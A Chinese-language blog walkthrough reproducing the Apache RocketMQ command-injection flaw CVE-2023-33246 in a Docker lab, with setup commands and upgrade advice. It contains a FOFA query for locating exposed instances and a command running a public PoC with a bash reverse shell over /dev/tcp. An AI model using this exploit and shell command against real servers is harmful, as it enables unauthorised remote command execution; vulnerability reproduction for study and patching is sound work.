【漏洞复现】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)

ゝ一世哀愁。 2024-03-16 16:39 142阅读 0赞

文章目录

  • 前言
  • 声明
  • 一、漏洞描述
  • 二、漏洞危害
  • 三、影响版本
  • 四、环境搭建
  • 五、漏洞复现
  • 六、修复建议

前言

RocketMQ 是阿里巴巴在2012年开发的分布式消息中间件,专为万亿级超大规模的消息处理而设计,具有高吞吐量、低延迟、海量堆积、顺序收发等特点。同时它是一个分布式消息和流数据平台,具有低延迟、高性能、高可靠性、万亿级容量和灵活的可扩展性。


声明

本篇文章仅用于漏洞复现与技术研究,请勿利用文章内的相关技术从事非法测试,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!


一、漏洞描述

在RocketMQ 5.1.0及以下版本在一定条件下,会存在远程命令执行风险;由于RocketMQ的NameServerBrokerController等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外攻击者还可以通过伪造 RocketMQ 协议内容来达到同样的效果。


二、漏洞危害

攻击者可以通过使用更新配置功能,以 RocketMQ 运行的系统用户执行命令。此外,攻击者还可以通过伪造 RocketMQ 协议内容达到相同的利用效果。


三、影响版本

  • Apache RocketMQ <= 5.1.0
  • Apache RocketMQ <= 4.9.5

安全版本:

  • Apache RocketMQ 5.x >= 5.1.1
  • Apache RocketMQ 4.x >= 4.9.6

四、环境搭建

本次直接用docker拉取漏洞环境。

下载docker镜像:

  1. docker pull apache/rocketmq:4.9.1
  2. docker pull apacherocketmq/rocketmq-console:2.0.0

在这里插入图片描述
启动namesrv:

  1. docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv

在这里插入图片描述
启动broker服务(先创建并配置broker文件)

  1. 创建broker文件目录
  2. mkdir -p /mydata/rocketmq/conf/
  3. 配置broker文件
  4. vim /mydata/rocketmq/conf/broker.conf
  5. 将下面内容复制粘贴到broker.conf配置文件中:
  6. brokerClusterName = DefaultCluster
  7. brokerName = broker-a
  8. brokerId = 0
  9. deleteWhen = 04
  10. fileReservedTime = 48
  11. brokerRole = ASYNC_MASTER
  12. flushDiskType = SYNC_FLUSH
  13. brokerIP1 = X.X.X.X(宿主机IP)

在这里插入图片描述
启动broker:

  1. docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf

在这里插入图片描述
启动Console:

  1. docker run -d --name rmqconsole -p 8899:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=rmqnamesrv:9876 -Droc
  2. ketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0

在这里插入图片描述
最后访问IP:8899显示页面如下:
在这里插入图片描述
环境搭建成功!!!

五、漏洞复现

FOFA:title=“RocketMQ”

POC攻击
Github下载地址: https://github.com/Serendipity-Lucky/CVE-2023-33246

使用如下命令进行反弹Shell

PS:自己本地测试的时候,反弹shell的ip不能与docker启动环境的ip一样,不然接收不到shell

命令: java -jar CVE-2023-33246.jar -ip “X.X.X.X” -cmd “bash -i >& /dev/tcp/X.X.X.X/4444 0>&1”
在这里插入图片描述

六、修复建议

目前官方已发布安全修复更新,受影响用户可以升级到Apache RocketMQ 5.1.1或者4.9.6

https://rocketmq.apache.org/download/
https://vip.tophant.com/patch?keyword=/Apache/Apache%20RocketMQ/Apache%20RocketMQ%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E(CVE-2023-33246)

发表评论

表情:
评论列表 (有 0 条评论,142人围观)

还没有评论,来说两句吧...

相关阅读